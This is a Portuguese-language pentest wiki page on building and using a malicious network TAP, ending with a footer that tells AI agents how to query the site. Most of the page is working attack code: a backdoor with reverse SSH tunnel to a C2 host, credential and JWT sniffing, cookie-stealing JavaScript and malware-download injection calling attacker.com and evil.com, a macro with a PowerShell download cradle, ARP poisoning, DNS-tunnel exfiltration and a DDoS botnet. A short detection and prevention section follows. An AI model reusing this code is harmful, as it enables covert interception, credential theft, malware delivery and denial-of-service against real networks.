# Network TAP

## 📑 **Índice**

1. [Fundamentos do Network TAP](#-fundamentos-do-network-tap)
2. [Como "Abrir" e Acessar o TAP](#-como-abrir-e-acessar-o-tap)
3. [Leitura de Pacotes em Tempo Real](#-leitura-de-pacotes-em-tempo-real)
4. [Injeção e Infecção de Tráfego](#-injeção-e-infecção-de-tráfego)
5. [Implementação de TAP Malicioso](#-implementação-de-tap-malicioso)
6. [Cenários de Ataque Avançados](#-cenários-de-ataque-avançados)
7. [Detecção e Prevenção](#-detecção-e-prevenção)

***

## 🔍 **Fundamentos do Network TAP**

### **O que é um Network TAP?**

Um **Network TAP (Test Access Point)** é um dispositivo de hardware inserido fisicamente em um segmento de rede (entre dois pontos, como um switch e um servidor, ou entre dois switches) que cria uma cópia exata (bidirecional) do tráfego que passa por ele. Diferente de SPAN ports (mirroring) que podem descartar pacotes sob alta carga, um TAP passivo garante que 100% do tráfego seja copiado.

### **O Lobo Solitário Digital**

Um Network TAP modificado se torna um **lobo solitário**: um dispositivo invisível, alimentado pela própria rede, que pode ler, modificar e injetar tráfego em tempo real, sem nunca estabelecer uma conexão de rede própria que pudesse ser detectada.

***

## 🔓 **Como "Abrir" e Acessar o TAP**

### **Identificação de Pontos de Inserção**

```yaml
Locais Ideais para Inserção de TAP:
  - Entre switch core e firewall
  - Entre roteador de borda e switch principal
  - Em links de uplink de servidores críticos
  - Em conexões de backup/Storage
  - Em pontos de agregação de rede

Vantagens:
  - Tráfego concentrado (mais dados)
  - Pontos cegos de monitoramento
  - Dificuldade de detecção
```

### **Técnicas de "Abertura" do Link**

```python
#!/usr/bin/env python3
# tap_installer.py - Instalação furtiva de TAP

import subprocess
import time

class TAPInstaller:
    """
    Técnicas para instalar TAP sem interromper a rede
    """
    
    @staticmethod
    def copper_tap_install(interface_a, interface_b, tap_device):
        """
        Instalar TAP em cabo de cobre (RJ45)
        Usando splitter passivo ou ativo
        """
        print("[*] Instalando TAP em cabo de cobre...")
        
        # Passo 1: Identificar o cabo alvo
        # Em cenário real, acesso físico ao patch panel ou cabo
        
        # Passo 2: Desconectar temporariamente (janela curta)
        # subprocess.call(f"ifconfig {interface_a} down", shell=True)
        # time.sleep(0.5)  # Menos de 1 segundo de downtime
        
        # Passo 3: Inserir TAP inline
        # Conexão: Dispositivo A -> TAP -> Dispositivo B
        
        # Passo 4: Restaurar conexão
        # subprocess.call(f"ifconfig {interface_a} up", shell=True)
        
        print("[+] TAP instalado com sucesso (downtime < 1s)")
        return True
    
    @staticmethod
    def fiber_tap_install(fiber_cable, tap_device):
        """
        Instalar TAP em fibra óptica
        Usando splitter óptico passivo
        """
        print("[*] Instalando TAP em fibra óptica...")
        
        # TAP em fibra usa splitter passivo (70/30 ou 50/50)
        # Não requer interrupção do link!
        
        # Basta inserir o splitter entre os conectores
        # 70% do sinal segue para o destino original
        # 30% vai para a porta de monitoramento
        
        print("[+] TAP óptico instalado (sem downtime)")
        return True
    
    @staticmethod
    def inline_power_tap():
        """
        TAP com Power over Ethernet (PoE)
        TAP se alimenta da própria rede!
        """
        print("[*] TAP alimentado por PoE - sem bateria externa")
        print("[+] Pode operar indefinidamente")
        return True

# Exemplo
# installer = TAPInstaller()
# installer.copper_tap_install('eth0', 'eth1', 'tap0')
```

### **Acessando o TAP Remotamente**

```python
#!/usr/bin/env python3
# tap_remote_access.py

import socket
import threading
import subprocess

class TAPBackdoor:
    """
    Backdoor invisível no TAP para acesso remoto
    """
    
    def __init__(self):
        self.control_port = 31337  # Porta não padrão
        self.beacon_interval = 60  # Intervalo de beacon (segundos)
        self.c2_server = "hidden.dyndns.org"  # C2 real
        self.running = True
    
    def create_covert_channel(self):
        """
        Criar canal de comunicação furtivo
        Usando ICMP (ping) ou DNS para exfiltração
        """
        # Método 1: DNS Tunneling
        # Consultas DNS para domínio controlado
        # Ex: data.abcdef123456.attacker.com
        
        # Método 2: ICMP exfiltration
        # Dados escondidos em pacotes ICMP echo
        
        print("[+] Canal covert configurado")
        return True
    
    def reverse_ssh_tunnel(self):
        """
        Estabelecer túnel SSH reverso
        TAP inicia conexão para evitar firewalls
        """
        # TAP se conecta ao atacante, não o contrário
        cmd = f"ssh -R 2222:localhost:22 -N {self.c2_server}"
        subprocess.Popen(cmd, shell=True)
        print("[+] Reverse SSH tunnel estabelecido")
    
    def start_beacon(self):
        """
        Enviar beacons periódicos
        """
        def beacon_loop():
            while self.running:
                # Enviar heartbeat via DNS
                # Formato: status.{timestamp}.attacker.com
                time.sleep(self.beacon_interval)
        
        thread = threading.Thread(target=beacon_loop)
        thread.start()
```

***

## 📡 **Leitura de Pacotes em Tempo Real**

### **Captura em Tempo Real (Zero-Copy)**

```python
#!/usr/bin/env python3
# tap_packet_capture.py - Captura de alto desempenho

import scapy.all as scapy
from collections import deque
import threading
import time
import struct

class RealTimePacketCapture:
    """
    Captura de pacotes em tempo real no TAP
    """
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.packet_queue = deque(maxlen=10000)
        self.stats = {'total': 0, 'tcp': 0, 'udp': 0, 'http': 0, 'https': 0}
        self.running = True
        
        # Filtros para captura seletiva
        self.filters = {
            'credentials': self.is_credential,
            'auth': self.is_authentication,
            'sensitive': self.is_sensitive_data
        }
    
    def is_credential(self, payload):
        """
        Identificar credenciais em tráfego
        """
        patterns = [
            b'username', b'user', b'login', b'email',
            b'password', b'passwd', b'pwd', b'senha',
            b'token', b'auth', b'bearer', b'apikey',
            b'credit', b'card', b'cvv', b'cvc'
        ]
        
        for pattern in patterns:
            if pattern in payload.lower():
                return True
        return False
    
    def is_authentication(self, packet):
        """
        Identificar pacotes de autenticação
        """
        # HTTP Basic Auth
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            if b'Authorization: Basic' in payload:
                return True
            if b'POST /login' in payload or b'POST /auth' in payload:
                return True
        
        # TLS Handshake (para decifrar depois)
        if packet.haslayer(scapy.TCP) and packet[scapy.TCP].dport == 443:
            if packet[scapy.TCP].flags & 0x02:  # SYN
                return True
        
        return False
    
    def extract_credentials(self, payload):
        """
        Extrair credenciais do payload
        """
        import re
        
        creds = {}
        
        # username=admin&password=123
        user_match = re.search(rb'(?:user|username|login)[=:]\s*([^&\s]+)', payload, re.I)
        pass_match = re.search(rb'(?:pass|password|pwd)[=:]\s*([^&\s]+)', payload, re.I)
        
        if user_match:
            creds['username'] = user_match.group(1).decode('utf-8', errors='ignore')
        if pass_match:
            creds['password'] = pass_match.group(1).decode('utf-8', errors='ignore')
        
        # JSON: {"username": "admin", "password": "123"}
        if b'"username"' in payload or b'"password"' in payload:
            import json
            try:
                data = json.loads(payload.decode('utf-8', errors='ignore'))
                if 'username' in data:
                    creds['username'] = data['username']
                if 'password' in data:
                    creds['password'] = data['password']
            except:
                pass
        
        return creds
    
    def process_packet(self, packet):
        """
        Processar pacote em tempo real
        """
        self.stats['total'] += 1
        
        # Estatísticas de protocolo
        if packet.haslayer(scapy.TCP):
            self.stats['tcp'] += 1
            if packet[scapy.TCP].dport == 80 or packet[scapy.TCP].sport == 80:
                self.stats['http'] += 1
            elif packet[scapy.TCP].dport == 443 or packet[scapy.TCP].sport == 443:
                self.stats['https'] += 1
        
        if packet.haslayer(scapy.UDP):
            self.stats['udp'] += 1
        
        # Capturar credenciais em tempo real
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            
            if self.is_credential(payload):
                creds = self.extract_credentials(payload)
                if creds:
                    print(f"[!] CREDENCIAIS CAPTURADAS: {creds}")
                    self.store_credentials(creds, time.time())
            
            # Capturar tokens JWT
            if b'eyJ' in payload:  # JWT pattern
                self.extract_jwt(payload)
    
    def extract_jwt(self, payload):
        """
        Extrair tokens JWT do tráfego
        """
        import re
        jwt_pattern = rb'eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+'
        matches = re.findall(jwt_pattern, payload)
        
        for match in matches:
            print(f"[!] JWT CAPTURADO: {match.decode()[:50]}...")
            self.store_jwt(match.decode())
    
    def store_credentials(self, creds, timestamp):
        """
        Armazenar credenciais capturadas
        """
        # Em TAP real, salvar em memória oculta
        with open('/hidden/creds.log', 'a') as f:
            f.write(f"{timestamp}: {creds}\n")
    
    def start_capture(self):
        """
        Iniciar captura em tempo real
        """
        print(f"[*] Capturando tráfego em {self.interface}")
        scapy.sniff(iface=self.interface, prn=self.process_packet, store=0)
    
    def get_stats(self):
        """
        Obter estatísticas em tempo real
        """
        return self.stats

# Uso
# capture = RealTimePacketCapture('tap0')
# capture.start_capture()
```

### **Deep Packet Inspection (DPI) em Tempo Real**

```python
#!/usr/bin/env python3
# tap_dpi.py - Inspeção profunda de pacotes

import dpkt
import socket
import struct
from collections import defaultdict

class TAPDeepInspection:
    """
    Deep Packet Inspection no TAP
    """
    
    def __init__(self):
        self.sessions = defaultdict(dict)
        self.extracted_files = []
        self.reassembled_data = {}
    
    def reassemble_tcp_stream(self, src_ip, dst_ip, src_port, dst_port, data):
        """
        Reconstruir stream TCP completo
        """
        key = f"{src_ip}:{src_port}-{dst_ip}:{dst_port}"
        
        if key not in self.reassembled_data:
            self.reassembled_data[key] = b''
        
        self.reassembled_data[key] += data
        
        # Verificar se é HTTP completo
        if self.is_complete_http(self.reassembled_data[key]):
            self.process_http_stream(key, self.reassembled_data[key])
            del self.reassembled_data[key]
    
    def is_complete_http(self, data):
        """
        Verificar se HTTP está completo
        """
        # Verificar Content-Length ou chunked
        return b'\r\n\r\n' in data
    
    def process_http_stream(self, key, data):
        """
        Processar stream HTTP
        """
        try:
            # Parse HTTP request/response
            parts = data.split(b'\r\n\r\n', 1)
            if len(parts) < 2:
                return
            
            headers = parts[0]
            body = parts[1] if len(parts) > 1 else b''
            
            # Extrair informações
            self.extract_http_info(headers, body)
            
            # Extrair arquivos transferidos
            self.extract_files(headers, body)
            
        except Exception as e:
            pass
    
    def extract_http_info(self, headers, body):
        """
        Extrair informações HTTP
        """
        headers_str = headers.decode('utf-8', errors='ignore')
        
        # Método e caminho
        if headers_str.startswith(('GET', 'POST', 'PUT', 'DELETE')):
            parts = headers_str.split(' ')
            if len(parts) >= 2:
                print(f"[HTTP] {parts[0]} {parts[1]}")
        
        # Cookies
        if 'Cookie:' in headers_str:
            cookie_line = [l for l in headers_str.split('\n') if 'Cookie:' in l]
            if cookie_line:
                print(f"[COOKIE] {cookie_line[0].strip()}")
        
        # Form data
        if body:
            if b'username' in body or b'password' in body:
                print(f"[FORM] {body[:200]}")
    
    def extract_files(self, headers, body):
        """
        Extrair arquivos transferidos
        """
        headers_str = headers.decode('utf-8', errors='ignore')
        
        # Verificar Content-Disposition
        if 'Content-Disposition:' in headers_str:
            if 'filename=' in headers_str:
                # Extrair nome do arquivo
                import re
                match = re.search(r'filename="?([^"]+)"?', headers_str)
                if match:
                    filename = match.group(1)
                    print(f"[FILE] Arquivo capturado: {filename}")
                    
                    # Salvar arquivo
                    with open(f'/hidden/files/{filename}', 'wb') as f:
                        f.write(body)
                    self.extracted_files.append(filename)
    
    def extract_tls_keys(self, packet):
        """
        Extrair chaves TLS para decifragem posterior
        """
        # Em TLS 1.3, é possível extrair chaves se tiver acesso
        # ao master secret via debug (se TAP tiver acesso à memória)
        pass

# Uso
# dpi = TAPDeepInspection()
```

***

## 💉 **Injeção e Infecção de Tráfego**

### **Injeção de Pacotes em Tempo Real**

```python
#!/usr/bin/env python3
# tap_injection.py - Injeção de tráfego malicioso

import scapy.all as scapy
import random
import time

class TAPInjection:
    """
    Injeção de pacotes em tempo real via TAP
    """
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.injection_queue = []
        
        # Payloads maliciosos para injeção
        self.payloads = {
            'javascript': self.inject_javascript,
            'malware': self.inject_malware_download,
            'redirect': self.inject_redirect,
            'phishing': self.inject_phishing
        }
    
    def inject_javascript(self, packet, target_url):
        """
        Injetar JavaScript em respostas HTTP
        """
        if packet.haslayer(scapy.Raw) and packet.haslayer(scapy.TCP):
            payload = bytes(packet[scapy.Raw])
            
            # Verificar se é resposta HTML
            if b'Content-Type: text/html' in payload:
                # Script malicioso
                js_payload = b'<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'
                
                # Injetar antes do </body>
                modified = payload.replace(b'</body>', js_payload + b'</body>')
                
                # Modificar pacote
                packet[scapy.Raw].load = modified
                
                # Recalcular checksums
                del packet[scapy.IP].chksum
                del packet[scapy.TCP].chksum
                
                print("[+] JavaScript injetado na resposta")
                return packet
        
        return None
    
    def inject_malware_download(self, packet):
        """
        Substituir downloads por malware
        """
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            
            # Verificar download de arquivo
            if b'Content-Disposition: attachment' in payload:
                # Substituir URL do download
                modified = payload.replace(
                    b'https://legitimate.com/software.exe',
                    b'https://attacker.com/malware.exe'
                )
                
                packet[scapy.Raw].load = modified
                print("[+] Download redirecionado para malware")
                return packet
        
        return None
    
    def inject_redirect(self, packet, redirect_url):
        """
        Injetar redirecionamento HTTP 302
        """
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            
            # Verificar resposta HTTP
            if b'HTTP/1.1 200' in payload or b'HTTP/1.0 200' in payload:
                # Criar resposta de redirecionamento
                redirect = f"HTTP/1.1 302 Found\r\nLocation: {redirect_url}\r\nContent-Length: 0\r\n\r\n".encode()
                
                packet[scapy.Raw].load = redirect
                print(f"[+] Redirecionamento injetado para {redirect_url}")
                return packet
        
        return None
    
    def inject_phishing(self, packet, phishing_url):
        """
        Substituir formulários por phishing
        """
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            
            # Substituir action do formulário
            if b'<form' in payload and b'action=' in payload:
                modified = payload.replace(
                    b'action="/login"',
                    f'action="{phishing_url}"'.encode()
                )
                packet[scapy.Raw].load = modified
                print("[+] Formulário redirecionado para phishing")
                return packet
        
        return None
    
    def arp_poisoning_mitm(self, target_ip, gateway_ip):
        """
        ARP poisoning para MITM via TAP
        """
        # Obter MACs
        target_mac = self.get_mac(target_ip)
        gateway_mac = self.get_mac(gateway_ip)
        
        # Enviar ARP replies falsos
        arp_target = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
        arp_gateway = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
        
        while True:
            scapy.send(arp_target, verbose=False)
            scapy.send(arp_gateway, verbose=False)
            time.sleep(2)
    
    def get_mac(self, ip):
        """
        Obter MAC address via ARP
        """
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = broadcast / arp_request
        answered = scapy.srp(packet, timeout=2, verbose=False)[0]
        
        if answered:
            return answered[0][1].hwsrc
        return None

# Uso
# injector = TAPInjection('tap0')
# injector.arp_poisoning_mitm('192.168.1.100', '192.168.1.1')
```

### **Infecção de Tráfego em Massa**

```python
#!/usr/bin/env python3
# tap_mass_infection.py - Infecção em escala

import scapy.all as scapy
import random
import time
from threading import Thread

class TAPMassInfection:
    """
    Infecção de tráfego em escala via TAP
    """
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.infection_count = 0
        self.running = True
        
        # Lista de URLs para redirecionamento
        self.malicious_urls = [
            "https://evil.com/malware1.exe",
            "https://evil.com/malware2.exe",
            "https://evil.com/ransomware.exe"
        ]
        
        # Padrões de injeção
        self.injection_patterns = [
            (b'.exe', self.inject_malware_exe),
            (b'.pdf', self.inject_malware_pdf),
            (b'.doc', self.inject_malware_doc),
            (b'.zip', self.inject_malware_zip)
        ]
    
    def inject_malware_exe(self, packet):
        """
        Substituir arquivos .exe
        """
        # Redirecionar download para malware
        return self.replace_download(packet, '.exe')
    
    def inject_malware_pdf(self, packet):
        """
        Infectar PDFs
        """
        # Injetar JavaScript em PDF
        return self.inject_pdf_js(packet)
    
    def inject_malware_doc(self, packet):
        """
        Infectar documentos Office
        """
        # Injetar macros
        return self.inject_doc_macro(packet)
    
    def inject_malware_zip(self, packet):
        """
        Substituir ZIPs
        """
        return self.replace_download(packet, '.zip')
    
    def replace_download(self, packet, extension):
        """
        Substituir download por malware
        """
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            
            if extension.encode() in payload:
                # Escolher URL maliciosa aleatória
                evil_url = random.choice(self.malicious_urls)
                
                modified = payload.replace(
                    payload[payload.find(b'http'):payload.find(extension.encode())+len(extension)],
                    evil_url.encode()
                )
                
                packet[scapy.Raw].load = modified
                self.infection_count += 1
                print(f"[+] Download {extension} infectado (#{self.infection_count})")
                return packet
        
        return None
    
    def inject_pdf_js(self, packet):
        """
        Injetar JavaScript em PDF
        """
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            
            if b'%PDF' in payload:
                # Script JavaScript malicioso
                js_payload = b'/JS (app.alert("Hacked");) /JavaScript'
                
                # Inserir antes do final do PDF
                modified = payload.replace(b'%%EOF', js_payload + b'%%EOF')
                packet[scapy.Raw].load = modified
                print("[+] PDF infectado com JavaScript")
                return packet
        
        return None
    
    def inject_doc_macro(self, packet):
        """
        Injetar macros em documentos Office
        """
        if packet.haslayer(scapy.Raw):
            payload = bytes(packet[scapy.Raw])
            
            if b'Microsoft' in payload or b'PK' in payload[:2]:  # Office file
                # Macro maliciosa (simplificado)
                macro = b'Sub AutoOpen()\nShell "powershell -c IEX(New-Object Net.WebClient).DownloadString(""https://evil.com/evil.ps1"")"\nEnd Sub'
                
                # Inserir macro
                modified = payload + macro
                packet[scapy.Raw].load = modified
                print("[+] Documento Office infectado com macro")
                return packet
        
        return None
    
    def process_packet(self, packet):
        """
        Processar e possivelmente infectar cada pacote
        """
        for pattern, injection_func in self.injection_patterns:
            result = injection_func(packet)
            if result:
                # Enviar pacote modificado
                scapy.sendp(result, iface=self.interface, verbose=False)
                return
        
        # Pacote não modificado (pass-through)
        scapy.sendp(packet, iface=self.interface, verbose=False)
    
    def start_infection(self):
        """
        Iniciar infecção de tráfego
        """
        print(f"[*] Iniciando infecção de tráfego em {self.interface}")
        scapy.sniff(iface=self.interface, prn=self.process_packet, store=0)
    
    def get_stats(self):
        """
        Obter estatísticas de infecção
        """
        return {'infections': self.infection_count}

# Uso
# infection = TAPMassInfection('tap0')
# infection.start_infection()
```

***

## 🦠 **TAP como Botnet On-Premise**

```python
#!/usr/bin/env python3
# tap_botnet.py - TAP como nó de botnet

import threading
import time
import requests
import subprocess

class TAPBotnet:
    """
    TAP como nó de botnet invisível
    """
    
    def __init__(self, c2_server, bot_id):
        self.c2_server = c2_server
        self.bot_id = bot_id
        self.running = True
        self.command_queue = []
        
        # Payloads para DDoS
        self.ddos_methods = {
            'http_flood': self.http_flood,
            'syn_flood': self.syn_flood,
            'udp_flood': self.udp_flood
        }
    
    def beacon(self):
        """
        Enviar heartbeat para C2
        """
        while self.running:
            try:
                # Usar DNS tunneling para evitar detecção
                # Ex: beacon.{bot_id}.attacker.com
                domain = f"beacon.{self.bot_id}.attacker.com"
                subprocess.call(f"nslookup {domain}", shell=True, stdout=subprocess.DEVNULL)
                
                # Alternativa: HTTP sobre portas comuns
                # requests.post(f"http://{self.c2_server}/beacon", data={'id': self.bot_id})
                
            except:
                pass
            
            time.sleep(60)  # Beacon a cada minuto
    
    def http_flood(self, target, duration=60):
        """
        Ataque HTTP flood
        """
        end_time = time.time() + duration
        while time.time() < end_time:
            try:
                requests.get(target, headers={'User-Agent': 'Mozilla/5.0'})
            except:
                pass
    
    def syn_flood(self, target, port=80, duration=60):
        """
        Ataque SYN flood
        """
        from scapy.all import IP, TCP, send
        end_time = time.time() + duration
        ip = target.split(':')[0]
        
        while time.time() < end_time:
            packet = IP(dst=ip) / TCP(dport=port, flags='S')
            send(packet, verbose=False)
    
    def udp_flood(self, target, port, duration=60):
        """
        Ataque UDP flood
        """
        from scapy.all import IP, UDP, send
        end_time = time.time() + duration
        ip = target.split(':')[0]
        
        while time.time() < end_time:
            packet = IP(dst=ip) / UDP(dport=port) / ("X" * 1024)
            send(packet, verbose=False)
    
    def execute_command(self, command):
        """
        Executar comando do C2
        """
        if command['type'] == 'ddos':
            method = command['method']
            target = command['target']
            duration = command.get('duration', 60)
            
            if method in self.ddos_methods:
                thread = threading.Thread(target=self.ddos_methods[method], args=(target, duration))
                thread.start()
                print(f"[+] DDoS {method} iniciado contra {target}")
        
        elif command['type'] == 'exfiltrate':
            self.exfiltrate_data()
        
        elif command['type'] == 'update':
            self.update_malware(command['url'])
    
    def exfiltrate_data(self):
        """
        Exfiltrar dados capturados
        """
        # Usar DNS tunneling para exfiltrar dados
        with open('/hidden/creds.log', 'r') as f:
            data = f.read()
        
        # Codificar em chunks para DNS
        chunks = [data[i:i+50] for i in range(0, len(data), 50)]
        for chunk in chunks:
            import base64
            encoded = base64.b64encode(chunk.encode()).decode()
            domain = f"{encoded}.exfil.attacker.com"
            subprocess.call(f"nslookup {domain}", shell=True, stdout=subprocess.DEVNULL)
            time.sleep(1)
    
    def update_malware(self, url):
        """
        Atualizar malware no TAP
        """
        import requests
        response = requests.get(url)
        if response.status_code == 200:
            # Salvar novo payload
            with open('/hidden/update.bin', 'wb') as f:
                f.write(response.content)
            print("[+] Malware atualizado")
    
    def start(self):
        """
        Iniciar botnet
        """
        # Iniciar beacon em thread separada
        beacon_thread = threading.Thread(target=self.beacon)
        beacon_thread.start()
        
        print(f"[*] TAP Botnet {self.bot_id} iniciado")

# Uso
# botnet = TAPBotnet('c2.attacker.com', 'bot_001')
# botnet.start()
```

***

## 🔍 **Detecção e Prevenção**

### **Métodos de Detecção**

```yaml
Indicadores de TAP Malicioso:
  
  Físicos:
    - Cabos com espessura irregular
    - Dispositivos inline desconhecidos
    - Conectores com marcas de violação
    - LEDs indicadores adicionais
  
  Elétricos:
    - Atenuação de sinal incomum
    - Atraso de propagação aumentado
    - Jitter anormal
    - Consumo de energia fora do padrão
  
  De Rede:
    - Latência aumentada no link
    - Perda de pacotes inexplicada
    - Pacotes TCP reordenados
    - TTL inconsistente
```

### **Script de Detecção de TAP**

```python
#!/usr/bin/env python3
# tap_detector.py

import subprocess
import time
import statistics

class TAPDetector:
    """
    Detector de TAPs maliciosos
    """
    
    @staticmethod
    def measure_rtt(host, count=100):
        """
        Medir RTT para detectar latência adicional
        """
        result = subprocess.run(
            ['ping', '-c', str(count), host],
            capture_output=True, text=True
        )
        
        # Extrair tempos
        times = []
        for line in result.stdout.split('\n'):
            if 'time=' in line:
                time_ms = float(line.split('time=')[1].split(' ')[0])
                times.append(time_ms)
        
        if times:
            return {
                'min': min(times),
                'max': max(times),
                'avg': statistics.mean(times),
                'stddev': statistics.stdev(times) if len(times) > 1 else 0
            }
        return None
    
    @staticmethod
    def check_traceroute(host):
        """
        Verificar saltos adicionais
        """
        result = subprocess.run(
            ['traceroute', '-n', host],
            capture_output=True, text=True
        )
        
        hops = []
        for line in result.stdout.split('\n'):
            if line and line[0].isdigit():
                hop_num = int(line.split()[0])
                hop_ip = line.split()[1] if len(line.split()) > 1 else '*'
                hops.append({'hop': hop_num, 'ip': hop_ip})
        
        return hops
    
    @staticmethod
    def check_ttl_anomalies(host):
        """
        Verificar anomalias de TTL
        """
        result = subprocess.run(
            ['ping', '-c', '10', host],
            capture_output=True, text=True
        )
        
        ttls = []
        for line in result.stdout.split('\n'):
            if 'ttl=' in line:
                ttl = int(line.split('ttl=')[1].split(' ')[0])
                ttls.append(ttl)
        
        if len(set(ttls)) > 1:
            return True  # TTL inconsistente - possível TAP
        return False

# Uso
# rtt = TAPDetector.measure_rtt('8.8.8.8')
# print(f"RTT: {rtt}")
```

### **Prevenção**

```yaml
Medidas de Prevenção:
  
  Físicas:
    - Lacrar conectores e cabos
    - Inspecionar periodicamente infraestrutura
    - Usar cabos com invólucros selados
    - Implementar sistema de detecção de intrusão física
  
  Técnicas:
    - Monitorar latência de links críticos
    - Implementar TTL security
    - Usar criptografia de ponta a ponta (TLS)
    - Monitorar tráfego por anomalias
  
  Políticas:
    - Restringir acesso a áreas de rede
    - Manter inventário de hardware
    - Auditorias físicas periódicas
```

***

## 🛒 **Hardware para TAP Malicioso**

### **Componentes DIY (Baixo Custo)**

| Componente            | Função                | Preço (R$)   | Onde Encontrar        |
| --------------------- | --------------------- | ------------ | --------------------- |
| **Raspberry Pi 4**    | Processador principal | \~R$ 300-400 | Shopee, Mercado Livre |
| **Raspberry Pi Pico** | Captura de pacotes    | \~R$ 35-50   | Shopee, AliExpress    |
| **Dual Ethernet Hat** | 2 portas Ethernet     | \~R$ 150-250 | AliExpress            |
| **PoE Hat**           | Alimentação via rede  | \~R$ 80-120  | AliExpress            |
| **MicroSD 64GB**      | Armazenamento         | \~R$ 40-60   | Qualquer loja         |
| **Case customizado**  | Ocultação             | \~R$ 30-50   | Impressão 3D          |
| **Total**             | Setup completo        | \~R$ 650-900 | -                     |

### **Exemplo: TAP com Raspberry Pi**

```bash
# Configuração do TAP com Raspberry Pi

# 1. Instalar dependências
sudo apt update
sudo apt install -y python3-pip tcpdump bridge-utils
pip3 install scapy

# 2. Configurar bridge para pass-through
sudo brctl addbr tap0
sudo brctl addif tap0 eth0
sudo brctl addif tap0 eth1
sudo ifconfig tap0 up

# 3. Configurar captura na interface bridge
sudo tcpdump -i tap0 -w capture.pcap

# 4. Script de captura automática
# python3 tap_capture.py
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
Network TAP Malicioso:
  ✅ Leitura de 100% do tráfego em tempo real
  ✅ Injeção e modificação de pacotes
  ✅ Alimentado pela própria rede (PoE)
  ✅ Indetectável por software
  ✅ Pode operar por anos sem manutenção
  
Ameaças:
  - Captura de credenciais em tempo real
  - Injeção de malware em downloads
  - Redirecionamento de tráfego (MITM)
  - Botnet on-premise
  - Exfiltração de dados via DNS/ICMP
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/network-tap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
